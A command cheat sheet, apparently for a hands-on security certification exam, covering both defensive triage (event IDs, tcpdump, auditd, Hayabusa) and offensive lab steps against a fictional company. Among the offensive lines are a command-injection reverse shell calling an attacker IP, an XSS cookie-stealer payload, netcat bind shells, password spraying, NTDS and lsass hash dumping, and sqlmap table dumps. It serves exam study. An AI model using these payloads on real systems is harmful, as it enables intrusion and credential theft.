| hashcat -a 0 w99.ntds /usr/share/wordlists/passwords.txt -r /opt/hashcat/rules/best64.rule | Dictionary, then mask, then rules Offline Password Cracking with Hashcat: Shadow Files and Active Directory NTDS | -a 0 dictionary -a 3 mask (?u upper ?l lower ?d digit) -r rules: mangle each word |
Cryptographic Validation (hashing + GPG) (5)
| Command | Purpose | Key flags |
|---|---|---|
| gpg --full-generate-key | Generate an RSA 3072 GPG key Hashing and Cryptographic Validation | --full-generate-key: full interactive key generation (vs. quick-generate) |
| gpg --list-keys && gpg --list-secret-keys | Inspect the keyring Hashing and Cryptographic Validation | - |
| gpg --sign --armor --output renamed-file.txt.asc --detach-sig renamed-file.txt && gpg --verify renamed-file.txt.asc | Sign a file with a detached ASCII-armored signature Hashing and Cryptographic Validation | --sign: sign --armor: ASCII-armored output (.asc, not binary .sig) --detach-sig: signature in a separate file |
| gpg --import /sec401/labs/4.1/backup/backup-jeffries... && gpg --list-keys | Import a third-party public key Hashing and Cryptographic Validation | - |
| gpg --verify /media/sec401/CDROM/Bankruptcy.docx.asc | BAD signature: tamper detected Hashing and Cryptographic Validation | - |
DLP / Metadata (exiftool + grep) (2)
| Command | Purpose | Key flags |
|---|---|---|
| exiftool Bankruptcy.docx | Extract document metadata with exiftool Data Loss Prevention | exiftool: read/write metadata in files (EXIF, IPTC, XMP, Office XML) Outputs all metadata fields including Creator, Keywords, Last Modified By |
| exiftool /media/sec401/CDROM/Bankruptcy.docx | Surface metadata with exiftool Hashing and Cryptographic Validation | - |
Web App Exploitation (4)
| Command | Purpose | Key flags |
|---|---|---|
| sqlmap -u "http://support.falsimentis.com/kb?entityid=3487&search=RAG" | Characterize with sqlmap SQL Injection and Database Exfiltration with sqlmap | sqlmap tests each parameter and reports which is injectable and how |
| sqlmap -u "..." --dbs | Enumerate databases SQL Injection and Database Exfiltration with sqlmap | --dbs: list databases; support is the app's |
| sqlmap -u "..." -D support --tables | Enumerate tables SQL Injection and Database Exfiltration with sqlmap | -D <db> --tables: list tables in the chosen database |
| sqlmap -u "..." -D support -T users --dump | Dump the users table SQL Injection and Database Exfiltration with sqlmap | --dump: extract the table; sqlmap offers to crack recognized hashes |
Cloud (AWS VPC Flow Logs) (2)
| Command | Purpose | Key flags |
|---|---|---|
| nfpcapd -r /sec401/labs/1.2/investigate.pcap -w exported-netflow/ | Convert PCAP to NetFlow with nfpcapd AWS VPC Flow Log Analysis | -r: read PCAP file -w: write NetFlow output directory |
| nfdump -R exported-netflow/ > pcap-derived-netflow.txt | Analyze NetFlow with nfdump AWS VPC Flow Log Analysis | -R: read recursively from directory |
Remote Access (SSH) (1)
| Command | Purpose | Key flags |
|---|---|---|
| ssh -p 80 root@172.28.14.23 | SSH on a non-standard port Network Discovery | -p 80: connect to SSH running on port 80 |
Lab Bring-up (Docker) (3)
| Command | Purpose | Key flags |
|---|---|---|
| ./start-servers.ps1 | Bootstrap the fleet and load the server list Using PowerShell for Speed and Scale | - |
| ./start_6.1.sh | Start the Docker lab container Linux Permissions | - |
| ./connect.sh | Connect into the container as annika Linux Permissions | - |
Other Commands (119)
| Command | Purpose | Key flags |
|---|---|---|
| ip.addr == 20.106.124.93 | Display filter construction Wireshark Packet Analysis | ip.addr: match source or destination IP ==: exact match operator |
| tcp.stream eq 13299 | HTTP stream: WordPress brute-force success Wireshark Packet Analysis | tcp.stream: isolate a single TCP conversation eq 13299: stream index from Wireshark's reassembly |
| http | Live capture analysis with http filter Wireshark Packet Analysis | http: display filter showing only HTTP protocol packets Filters out TCP handshakes, TLS, DNS, etc. |
| zcat file /sec401/labs/1.3/20230928/2226771286B0_vpcflowlogs_us-east-2_fl-0272f42338e6eeaaf_20230928T23552_e92fb168.log.gz | head -4 | Inspect flow log format and sample records AWS VPC Flow Log Analysis | zcat: decompress and output to stdout head -4: show header + 3 sample records |
| zcat /sec401/labs/1.3/20230928/*log.gz | wc -l | Count total flow records AWS VPC Flow Log Analysis | *log.gz: glob all compressed logs wc -l: count total lines |
| zgrep --no-filename 20.106.124.93 /sec401/labs/1.3/20230928/*log.gz > /sec401/labs/1.3/attacker-flows.log | Extract attacker flows AWS VPC Flow Log Analysis | zgrep: grep compressed files --no-filename: omit file names from output > redirect to attacker-flows.log |
| date -d @1695921755 | Determine attack timeframe AWS VPC Flow Log Analysis | sort -nk 15: numeric sort on column 15 (start epoch) date -d @epoch: convert epoch to human-readable |
| date -d @1695945545 | Determine attack timeframe AWS VPC Flow Log Analysis | sort -nk 15: numeric sort on column 15 (start epoch) date -d @epoch: convert epoch to human-readable |
| gedit cewl-pass.txt | Examine CeWL wordlist Password Auditing | - |
| python3 /opt/john/run/office2john.py customer-discount.xlsx > excelhash | Extract Office hash with office2john Password Auditing | office2john.py: extracts password hash from Office documents > excelhash: redirect hash to file for cracking |
| unshadow alphapasswd alphashadow > alphamerge | Combine Linux passwd and shadow files Password Auditing | unshadow: merge /etc/passwd and /etc/shadow into John-compatible format |
| unshadow bonuspasswd bonusshadow > bonus_passwords | Bonus challenge: CeWL wordlist fails Password Auditing | unshadow: merge bonus credential files --wordlist: attempt base CeWL wordlist |
| netstat -anp | Post-compromise: netstat on target Network Discovery | -a: all sockets; -n: numeric addresses; -p: show owning process/PID |
| iptables -n -L | iptables rules for the new service Network Discovery | -n: numeric output (no DNS/port name lookup) -L: list rules |
| scripts/enable_waf.sh | Deploy the WAF Web App Exploitation | - |
| cp /media/sec401/CDROM/Bankruptcy.docx.asc /sec401/labs/4.1/backup/ && gpg --verify /sec401/labs/4.1/backup/Bankruptcy.docx.asc | Restore from backup, re-verify Hashing and Cryptographic Validation | - |
| gedit audit.rules & | Open the auditd rules file Linux Logging and Auditing | - |
| # syntax shown: | Review recon / susp_activity / sssd rules Linux Logging and Auditing | -w: watch a path -p x: on execute (r/w/a/x for read/write/attr/exec) -k: key name (aureport/ausearch filter) -a always,exit: rule fires on syscall exit -F: field filter (perm, path, auid) auid!=4294967295: exclude unset audit UID |
| -w /usr/bin/whoami -p x -k recon | Review recon / susp_activity / sssd rules Linux Logging and Auditing | -w: watch a path -p x: on execute (r/w/a/x for read/write/attr/exec) -k: key name (aureport/ausearch filter) -a always,exit: rule fires on syscall exit -F: field filter (perm, path, auid) auid!=4294967295: exclude unset audit UID |
| -w /usr/bin/nc -p x -k susp_activity | Review recon / susp_activity / sssd rules Linux Logging and Auditing | -w: watch a path -p x: on execute (r/w/a/x for read/write/attr/exec) -k: key name (aureport/ausearch filter) -a always,exit: rule fires on syscall exit -F: field filter (perm, path, auid) auid!=4294967295: exclude unset audit UID |
| -a always,exit -F path=/usr/libexec/sssd/p11_child -F perm=x -F auid>=500 -F auid!=4294967295 -k T1078_Valid_Accounts | Review recon / susp_activity / sssd rules Linux Logging and Auditing | -w: watch a path -p x: on execute (r/w/a/x for read/write/attr/exec) -k: key name (aureport/ausearch filter) -a always,exit: rule fires on syscall exit -F: field filter (perm, path, auid) auid!=4294967295: exclude unset audit UID |
| aureport --input ./audit.log --summary | aureport --summary Linux Logging and Auditing | --input: read from a file instead of /var/log/audit/audit.log --summary: one-screen overview |
| aureport --input audit.log --key --summary | aureport --key --summary Linux Logging and Auditing | - |
| ausearch --input audit.log -k sbin_susp | ausearch by key Linux Logging and Auditing | -k: filter by key (same name you set in the -k rule field) |
| ausearch --input audit.log -k sbin_susp -i | ausearch -i for interpreted output Linux Logging and Auditing | -i: interpret numeric fields (uid/gid → name, epoch → date, syscall numbers → names) |
| zircolite --events audit.log --ruleset rules/alpha_rules_linux.json --audit | Zircolite: SIGMA over audit.log Linux Logging and Auditing | --events: input log (audit.log, evtx, sysmon) --ruleset: compiled SIGMA JSON --audit: tells Zircolite this is Linux auditd format |
| gedit detected_events.json & | Review detected_events.json Linux Logging and Auditing | - |
| ./live-investigation-setup.ps1 | Stage the lab and baseline processes PowerShell Live Investigation | - |
| Compare-Object $servicebaseline $servicesnow | Diff services against baseline PowerShell Live Investigation | Compare-Object: diff two object sets SideIndicator <=: only in reference (baseline) SideIndicator =>: only in difference (current) |
| Compare-Object $Scheduledbaseline $schedulednow | Diff scheduled tasks against baseline PowerShell Live Investigation | - |
| ./rita.sh import -l log/ ~/labs/falsimentis/ | Import Zeek logs into RITA Network Beacon Detection with RITA | -l: tell RITA the input is Zeek log format log/: subdirectory holding the logs falsimentis: dataset name (becomes the database) |
| ./rita.sh view falsimentis | Tune config.hjson - safelist Canonical NTP Network Beacon Detection with RITA | - |
| gedit config.hjson | Tune config.hjson - safelist Canonical NTP Network Beacon Detection with RITA | - |
| ./rita.sh delete -ni falsimentis | Delete and re-import so the new config applies Network Beacon Detection with RITA | -ni: non-interactive (do not prompt) |
| C:\tools\Sysinternals\strings.exe -n 10 .\AnalyticsInstaller.exe | Pull readable strings Malware Analysis: AnalyticsInstaller.exe | -n 10: minimum string length of 10 to cut noise Strings dumps both ANSI and Unicode by default |
| .\AnalyticsInstaller.exe | Detonate and confirm the scheduled task Malware Analysis: AnalyticsInstaller.exe | - |
| goaichat | Start the local AI stack AI-Assisted Incident Handling | - |
| gedit ~/labs/falsimentis/IRplaybook.txt | Set the expert-IR system prompt AI-Assisted Incident Handling | - |
| masscan -p 443 --rate 10000 -oL simcloud.txt 10.200.0.0/16 | Mass-sweep the /16 for port 443 Cloud Attack Surface Mapping with masscan and TLS Fingerprinting | -p 443: single port --rate 10000: packets per second -oL: list output format |
| tls-scan --port=443 --cacert=/opt/tls-scan/ca-bundle.crt -o simcloud-tlsinfo.json < simcloud-targets.txt | Collect TLS certificates Cloud Attack Surface Mapping with masscan and TLS Fingerprinting | --port=443: TLS port --cacert: CA bundle for chain validation -o: JSON output; reads targets on stdin |
| jq '.ip + " " + .certificateChain[].subjectCN' simcloud-tlsinfo.json | Attribute IPs by certificate subject CN Cloud Attack Surface Mapping with masscan and TLS Fingerprinting | certificateChain[].subjectCN: the CN names the service grep isolates the target's asset |
| jq '.ip + " " + .certificateChain[].subjectCN' simcloud-tlsinfo.json | grep falsimentis | Attribute IPs by certificate subject CN Cloud Attack Surface Mapping with masscan and TLS Fingerprinting | certificateChain[].subjectCN: the CN names the service grep isolates the target's asset |
| smbclient -L //172.30.0.22 -U tdoudney%Falsimentis123 | Confirm the target and enumerate shares SMB Share Enumeration and Credential Discovery | -L: list shares -U user%pass: inline credentials |
| smbclient //172.30.0.22/IT -U tdoudney%Falsimentis123 | Read the IT share scripts SMB Share Enumeration and Credential Discovery | get <file>: download from the share logon.cmd/netssh.cmd reveal internal infrastructure |
| get logon.cmd | Read the IT share scripts SMB Share Enumeration and Credential Discovery | get <file>: download from the share logon.cmd/netssh.cmd reveal internal infrastructure |
| get netssh.cmd | Read the IT share scripts SMB Share Enumeration and Credential Discovery | get <file>: download from the share logon.cmd/netssh.cmd reveal internal infrastructure |
| smbclient //172.30.0.22/Home -U tdoudney%Falsimentis123 | Browse Home and check per-user ACLs SMB Share Enumeration and Credential Discovery | ACCESS_DENIED on csparkes = correct ACL; tdoudney's own dir is readable |
| tar c tdoudney-home.tar | Exfiltrate the home directory in one command SMB Share Enumeration and Credential Discovery | tar c: create archive of the current share path Streams every file in one operation |
| # locally: | Exfiltrate the home directory in one command SMB Share Enumeration and Credential Discovery | tar c: create archive of the current share path Streams every file in one operation |
| tar xf tdoudney-home.tar | Exfiltrate the home directory in one command SMB Share Enumeration and Credential Discovery | tar c: create archive of the current share path Streams every file in one operation |
| smbclient //172.30.0.22/CustomerDev -U csparkes%Clippers2022 | Reuse the credential for lateral movement SMB Share Enumeration and Credential Discovery | Reused discovered credential; CustomerDev holds the app source + db backup |
| .\hayabusa.exe | Choose the detection subcommand Windows Event Log Threat Hunting with Hayabusa and Sigma | csv-timeline: full detection timeline logon-summary/eid-metrics: quick stats |
| .\hayabusa.exe csv-timeline --directory C:\Tools\win10evtx\ -o win10-threatdetect.csv --no-color | Run the full detection timeline Windows Event Log Threat Hunting with Hayabusa and Sigma | --directory: EVTX folder -o: output CSV --no-color: clean output for redirection |
| # scan summary section of the run | Read the scan summary and data reduction Windows Event Log Threat Hunting with Hayabusa and Sigma | 4,151 rules over 16 logs; 4,419 events -> 2,983 with hits |
| # results summary section | Triage by severity Windows Event Log Threat Hunting with Hayabusa and Sigma | 0 critical / 3 high / 66 medium / 1,573 low / 1,347 info |
| # top alerts by severity | Read the top alerts and spot the anti-forensics Windows Event Log Threat Hunting with Hayabusa and Sigma | High = log clearing; medium = malicious PowerShell + password attacks |
| # Timeline Explorer: drag Level, then Rule Title, to the group bar | Group in Timeline Explorer and rebuild the sequence Windows Event Log Threat Hunting with Hayabusa and Sigma | Grouping turns a flat CSV into an incident timeline |
| # Linux listener | Listener/client chat Netcat for Data Transfer, Shells, and Pivot Relays | -l: listen mode -p: port; same syntax on both OSes |
| nc -l -p 2222 | Listener/client chat Netcat for Data Transfer, Shells, and Pivot Relays | -l: listen mode -p: port; same syntax on both OSes |
| # Windows client | Listener/client chat Netcat for Data Transfer, Shells, and Pivot Relays | -l: listen mode -p: port; same syntax on both OSes |
| nc 10.10.75.1 2222 | Listener/client chat Netcat for Data Transfer, Shells, and Pivot Relays | -l: listen mode -p: port; same syntax on both OSes |
| # Win: Get-Content .\text.txt | nc -l -p 1234 | File transfer, both directions Netcat for Data Transfer, Shells, and Pivot Relays | Sender pipes in, receiver redirects out; works either direction |
| # Linux: nc 10.10.0.1 1234 > received.txt | File transfer, both directions Netcat for Data Transfer, Shells, and Pivot Relays | Sender pipes in, receiver redirects out; works either direction |
| # Linux: cat file.txt | nc 10.10.0.1 4321 | File transfer, both directions Netcat for Data Transfer, Shells, and Pivot Relays | Sender pipes in, receiver redirects out; works either direction |
| # Win: nc -l -p 4321 | Out-File received2.txt | File transfer, both directions Netcat for Data Transfer, Shells, and Pivot Relays | Sender pipes in, receiver redirects out; works either direction |
| # Linux: nc -l -p 7777 -e /bin/sh | Bind shell on Linux Netcat for Data Transfer, Shells, and Pivot Relays | -e /bin/sh: bind a shell to the connection |
| # Windows: nc 10.10.75.1 7777 | Bind shell on Linux Netcat for Data Transfer, Shells, and Pivot Relays | -e /bin/sh: bind a shell to the connection |
| whoami; id; pwd | Bind shell on Linux Netcat for Data Transfer, Shells, and Pivot Relays | -e /bin/sh: bind a shell to the connection |
| # Windows: nc 10.10.75.1 8888 -e cmd.exe | Bind shell on Windows Netcat for Data Transfer, Shells, and Pivot Relays | -e cmd.exe: bind the Windows shell |
| # Linux: nc -l -p 8888 | Bind shell on Windows Netcat for Data Transfer, Shells, and Pivot Relays | -e cmd.exe: bind the Windows shell |
| # attacker (fails): | Port-check through a pivot Netcat for Data Transfer, Shells, and Pivot Relays | -z: zero-I/O port scan -w3: 3s timeout -vvv: verbose |
| nc -vvv -z -w3 172.30.0.55 80 | Port-check through a pivot Netcat for Data Transfer, Shells, and Pivot Relays | -z: zero-I/O port scan -w3: 3s timeout -vvv: verbose |
| # pivot (succeeds): | Port-check through a pivot Netcat for Data Transfer, Shells, and Pivot Relays | -z: zero-I/O port scan -w3: 3s timeout -vvv: verbose |
| mkfifo namedpipe | Named-pipe relay and log confirmation Netcat for Data Transfer, Shells, and Pivot Relays | FIFO carries the response back into the first nc, making the relay two-way |
| nc -l -p 8080 < namedpipe | nc 172.30.0.55 80 > namedpipe | Named-pipe relay and log confirmation Netcat for Data Transfer, Shells, and Pivot Relays | FIFO carries the response back into the first nc, making the relay two-way |
| # attacker: | Named-pipe relay and log confirmation Netcat for Data Transfer, Shells, and Pivot Relays | FIFO carries the response back into the first nc, making the relay two-way |
| legba -C credentials.txt -T http://172.30.0.12/ http.basic | Credential stuffing against HTTP Basic Online Password Attacks with Legba: Stuffing, Dictionary, and Spray | -C combo.txt: user:pass pairs -T: target http.basic: protocol module |
| legba -U admin -P tiksight -T 172.30.0.64 mysql | Validate and dictionary-attack MySQL Online Password Attacks with Legba: Stuffing, Dictionary, and Spray | -U user -P wordlist: single-user dictionary attack |
| legba -U root -P 10k-most-common.txt -T 172.30.0.64 mysql | Validate and dictionary-attack MySQL Online Password Attacks with Legba: Stuffing, Dictionary, and Spray | -U user -P wordlist: single-user dictionary attack |
| legba -U falsimentisusernames.txt -P Falsimentis123 -T 172.30.0.155 smb | Password spraying against SMB Online Password Attacks with Legba: Stuffing, Dictionary, and Spray | -U userlist + -P single = spray; one attempt per account evades lockout |
| legba -U falsimentisusernames.txt -P 'Falsimentis!' -T 172.30.0.155 smb | Password spraying against SMB Online Password Attacks with Legba: Stuffing, Dictionary, and Spray | -U userlist + -P single = spray; one attempt per account evades lockout |
| secretsdump.py -system registry/SYSTEM -ntds "Active Directory/ntds.dit" LOCAL -outputfile w99 -history | Extract NTLM hashes from NTDS.dit Offline Password Cracking with Hashcat: Shadow Files and Active Directory NTDS | LOCAL: parse offline files -history: include password history |
| search type:exploit psexec | Search and select the module Post-Exploitation with Metasploit and Meterpreter | type:exploit filters the search; info shows options and targets |
| use exploit/windows/smb/psexec | Search and select the module Post-Exploitation with Metasploit and Meterpreter | type:exploit filters the search; info shows options and targets |
| info | Search and select the module Post-Exploitation with Metasploit and Meterpreter | type:exploit filters the search; info shows options and targets |
| set RHOSTS 10.10.0.1 | Configure and run Post-Exploitation with Metasploit and Meterpreter | SMBUser/SMBPass = the credentials that make psexec work |
| set SMBUser sec504 | Configure and run Post-Exploitation with Metasploit and Meterpreter | SMBUser/SMBPass = the credentials that make psexec work |
| set SMBPass sec504 | Configure and run Post-Exploitation with Metasploit and Meterpreter | SMBUser/SMBPass = the credentials that make psexec work |
| set LHOST 10.10.75.1 | Configure and run Post-Exploitation with Metasploit and Meterpreter | SMBUser/SMBPass = the credentials that make psexec work |
| exploit | Configure and run Post-Exploitation with Metasploit and Meterpreter | SMBUser/SMBPass = the credentials that make psexec work |
| background | Confirm the session and SYSTEM Post-Exploitation with Metasploit and Meterpreter | background/sessions/interact: session management; already SYSTEM |
| sessions | Confirm the session and SYSTEM Post-Exploitation with Metasploit and Meterpreter | background/sessions/interact: session management; already SYSTEM |
| sessions 1 | Confirm the session and SYSTEM Post-Exploitation with Metasploit and Meterpreter | background/sessions/interact: session management; already SYSTEM |
| sysinfo | Confirm the session and SYSTEM Post-Exploitation with Metasploit and Meterpreter | background/sessions/interact: session management; already SYSTEM |
| execute -if systeminfo | Situational awareness Post-Exploitation with Metasploit and Meterpreter | getuid: current context ps: process list for a migration target |
| getuid | Situational awareness Post-Exploitation with Metasploit and Meterpreter | getuid: current context ps: process list for a migration target |
| ps | Situational awareness Post-Exploitation with Metasploit and Meterpreter | getuid: current context ps: process list for a migration target |
| getpid | Situational awareness Post-Exploitation with Metasploit and Meterpreter | getuid: current context ps: process list for a migration target |
| migrate -N lsass.exe | Migrate into lsass.exe Post-Exploitation with Metasploit and Meterpreter | -N <name>: migrate by process name; also fixes x86 -> x64 |
| hashdump | Dump local credentials Post-Exploitation with Metasploit and Meterpreter | 31d6cfe0d16ae931b73c59d7e0c089c0 = empty-password NTLM hash |
| ffuf -w combined_words.txt -u http://support.falsimentis.com/FUZZ | Discover content with ffuf IDOR and Forced Browsing: Enumerating Objects Nobody Should Reach | FUZZ: injection point Default status matcher catches 200/301/302/401/403 |
| # in the chat UI: type 'save' | Trigger the chatbot save IDOR and Forced Browsing: Enumerating Objects Nobody Should Reach | Predictable 4-digit ID + no auth = the IDOR precondition |
| seq -w 0 9999 | ffuf -w - -u http://support.falsimentis.com/chatlogs/chatlog-FUZZ.txt -fc 500 | Enumerate the log IDs IDOR and Forced Browsing: Enumerating Objects Nobody Should Reach | -w -: read wordlist from stdin -fc 500: filter the baseline error code |
| # browse /singlestatus?target=10.10.75.1 | Find and exercise the endpoint OS Command Injection to Reverse Shell | The page runs fping against the target parameter |
| # /singlestatus?target=-h | Prove the sink with argument injection OS Command Injection to Reverse Shell | -h is interpreted as an fping flag: input reaches the command line |
| # /singlestatus?target=-z || id | Escalate to command injection OS Command Injection to Reverse Shell | Invalid -z forces failure; || runs id -> uid=0(root) |
| # /singlestatus?target=-z || ls | Enumerate the application OS Command Injection to Reverse Shell | Enumerate the source and confirm a tool for the next step |
| # /singlestatus?target=-z || which nc | Enumerate the application OS Command Injection to Reverse Shell | Enumerate the source and confirm a tool for the next step |
| # attacker: nc -l -v -p 4444 | Open a reverse shell as root OS Command Injection to Reverse Shell | -e /bin/sh binds the shell; connection runs as the web process user (root) |
| # /singlestatus?target=-z || nc 10.10.75.1 4444 -e /bin/sh | Open a reverse shell as root OS Command Injection to Reverse Shell | -e /bin/sh binds the shell; connection runs as the web process user (root) |
| sqlite3 db.sqlite3 ".dump" | Exfiltrate the database OS Command Injection to Reverse Shell | .dump: full schema + data export |
| # submit /contact with test values and read the confirmation | Map the reflected fields Stored XSS to Session Hijacking | Echoed fields are the XSS candidates to probe |
| # name: Lorezo<hr> -> rendered as text (escaped) | Probe each field with <hr> Stored XSS to Session Hijacking | <hr> is a harmless, unmistakable probe: rule = injectable |
| # email: lorenzo@gmail.com<hr> -> rendered as a rule (injectable) | Probe each field with <hr> Stored XSS to Session Hijacking | <hr> is a harmless, unmistakable probe: rule = injectable |
| # email: lorenzo@gmail.com<script>alert(1)</script> | Confirm script execution Stored XSS to Session Hijacking | alert(1) executing proves script injection, not just HTML injection |
| php -S 0.0.0.0:8080 | Stand up a cookie-catcher Stored XSS to Session Hijacking | php -S serves the catcher; it appends every request to cookies.log |
| # email field payload: | Inject the cookie stealer and catch a second victim Stored XSS to Session Hijacking | The analyst's browser fires the payload on viewing the ticket |
| # <script>document.location="http://10.10.75.1:8080/?"+document.cookie</script> | Inject the cookie stealer and catch a second victim Stored XSS to Session Hijacking | The analyst's browser fires the payload on viewing the ticket |
| # /kb?entityid=3487&search=RAG' | Confirm by hand SQL Injection and Database Exfiltration with sqlmap | A single quote breaks the query -> 1064 syntax error = confirmed SQLi |
Windows Security Event IDs (most tested) (11)
| Command | Purpose | Key flags |
|---|---|---|
| 4624 | Successful logon | LogonType in message body (see logon types section) |
| 4625 | Failed logon | Status/SubStatus codes indicate failure reason (0xC000006A = bad password, 0xC0000234 = locked) |
| 4634 / 4647 | Account logged off / user-initiated logoff | Pair with 4624 to compute session duration |
| 4648 | Logon using explicit credentials | runas / lateral movement indicator |
| 4672 | Special privileges assigned | Fired at admin-equivalent logon (SeDebug, SeTcb, etc.) |
| 4688 | Process creation | Requires command-line auditing GPO to include CommandLine field |
| 4697 | Service installed (Security log) | Companion to System log 7045. Use both for service-install hunting |
| 4720 / 4722 / 4724 / 4725 | User account created / enabled / pwd reset / disabled | Account lifecycle auditing |
| 4728 / 4732 / 4756 | Member added to global / local / universal security group | Privilege escalation indicator |
| 4740 | Account locked out | CallerComputerName field shows lockout source |
| 1102 | Security log cleared | High-fidelity tampering indicator |
Windows System Event IDs (3)
| Command | Purpose | Key flags |
|---|---|---|
| 7045 | Service installed (SCM) | Always review on suspicious hosts. Pairs with 4697 |
| 7036 | Service entered Running / Stopped state | Useful for timelining service starts |
| 6005 / 6006 / 6008 | Event log started / stopped cleanly / unexpected shutdown | Boot / reboot timeline |
Logon Types (4624 / 4625) (9)
| Command | Purpose | Key flags |
|---|---|---|
| Type 2 | Interactive | Keyboard at the console |
| Type 3 | Network | SMB / file share / IPC$ |
| Type 4 | Batch | Scheduled task |
| Type 5 | Service | Service start as account |
| Type 7 | Unlock | Unlock of locked workstation |
| Type 8 | NetworkCleartext | Plaintext credentials over network (BASIC auth, IIS) |
| Type 9 | NewCredentials | runas /netonly |
| Type 10 | RemoteInteractive | RDP |
| Type 11 | CachedInteractive | Cached domain creds (laptop offline) |
PowerShell one-liners for triage (7)
| Command | Purpose | Key flags |
|---|---|---|
| Get-WinEvent -FilterHashtable @{LogName='Security';ID=4625} -MaxEvents 50 | Last 50 failed logons | -FilterHashtable is server-side and fast; avoid Where-Object after -FilterHashtable Replace 4625 with any ID above |
| Get-WinEvent -FilterHashtable @{LogName='Security';ID=4624;StartTime=(Get-Date).AddHours(-24)} | Logons in the last 24h | StartTime/EndTime filter in the hashtable |
| Get-Process | Where-Object WS -gt 100MB | Sort WS -desc | Top memory hogs | WS = working set; -gt comparison on numeric property |
| Get-NetTCPConnection -State Listen | ft -auto | Listening ports | Replacement for netstat -an; pair with -OwningProcess |
| Get-CimInstance Win32_Service | Where State -eq Running | Select Name,PathName,StartName | Running services + exe path + run-as account | PathName exposes the service binary path StartName is the account (LocalSystem, NetworkService, etc.) |
| Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Run | Autorun keys (per-machine) | Also check HKCU:\... and Run, RunOnce |
| Get-FileHash -Algorithm SHA256 <path> | Hash a file for IOC sharing | -Algorithm: MD5, SHA1, SHA256 (default), SHA384, SHA512 |
tcpdump quick filters (7)
| Command | Purpose | Key flags |
|---|---|---|
| tcpdump -nn -i eth0 -c 100 | 100 packets, no name resolution | -nn: no DNS, no port lookup -i: interface -c: count |
| tcpdump -r file.pcap 'host 10.0.0.5' | All traffic to/from one host | src host / dst host to narrow direction |
| tcpdump -r file.pcap 'port 443' | All traffic on port 443 | src port / dst port / portrange 1000-2000 |
| tcpdump -r file.pcap 'tcp[13] & 2 != 0' | SYN packets only (scan detection) | tcp[13]=18 → SYN-ACK, tcp[13]=16 → ACK, tcp[13]=4 → RST |
| tcpdump -r file.pcap 'icmp[icmptype]=icmp-echo' | ICMP echo requests (ping) | icmp-echoreply for responses |
| tcpdump -XX -r file.pcap | Hex + ASCII payload dump | -X: hex + ASCII -XX: include link-layer header |
| tcpdump -r file.pcap -w filtered.pcap 'host 10.0.0.5' | Save filtered subset to new PCAP | -w writes binary PCAP (no -v/-X output) |
Wireshark display filters (7)
| Command | Purpose | Key flags |
|---|---|---|
| ip.addr == 10.0.0.5 | Filter by IP (src or dst) | ip.src / ip.dst for direction |
| tcp.port == 80 | Filter by TCP port | tcp.srcport / tcp.dstport for direction |
| http.request.method == "POST" | HTTP POST only | http.request.uri contains "login" to narrow further |
| tcp.flags.syn == 1 && tcp.flags.ack == 0 | SYN without ACK (scan) | tcp.flags.reset == 1 for RSTs |
| dns.qry.name contains "evil" | DNS queries matching substring | dns.flags.response == 1 for responses only |
| tcp.stream eq 3 | One TCP stream | Right-click packet → Follow → TCP Stream to find stream number |
| frame contains "password" | Any frame whose bytes contain string | Slower than field filters. Use for ad-hoc hunts |
Linux log paths & triage (6)
| Command | Purpose | Key flags |
|---|---|---|
| /var/log/auth.log | sudo, sshd, su (Debian / Ubuntu) | RHEL/CentOS uses /var/log/secure |
| /var/log/syslog | /var/log/messages | General system messages | Debian vs RHEL naming |
| /var/log/wtmp /var/log/btmp /var/log/lastlog | Login history (good / failed / per-user last) | Binary files. Read with last / lastb / lastlog commands |
| last -F | lastb | Successful / failed login history | -F: full timestamps lastb needs root |
| journalctl -u sshd --since "1 hour ago" | systemd unit logs in a time window | -u: unit -p err..alert _PID=1234 match --since / --until: relative or ISO time |
| grep -E "Failed|Invalid" /var/log/auth.log | awk '{print $(NF-3)}' | sort | uniq -c | sort -rn | Top source IPs of failed SSH logins | Classic brute-force triage one-liner |
Linux hunt one-liners (7)
| Command | Purpose | Key flags |
|---|---|---|
| find / -perm -4000 -type f 2>/dev/null | All SUID binaries | -perm -4000: SUID bit set 2>/dev/null: discard permission-denied noise |
| find / -perm -2000 -type f 2>/dev/null | All SGID binaries | -2000: SGID |
| find / -perm -0002 -type d ! -perm -1000 2>/dev/null | World-writable dirs missing sticky bit | -0002: world-write !-perm -1000: exclude sticky-bit dirs |
| find / -mtime -1 -type f 2>/dev/null | Files modified in last 24h | -mtime -1: modified < 1 day ago -mmin -30: < 30 min |
| ss -tulnp | Listening TCP/UDP + process | -t TCP -u UDP -l listening -n no resolve -p process |
| lsof -i :22 | lsof -p 1234 | What's using port 22 / files a PID has open | -i: network -p: by PID -u user: by user |
| ps -eo pid,ppid,user,cmd --forest | Process tree with parent PID | --forest gives tree view; ppid helps spot orphaned children |
Tip: if you can't recall what a flag does without looking, drill that tool. CyberLive is timed. Muscle memory wins over recall.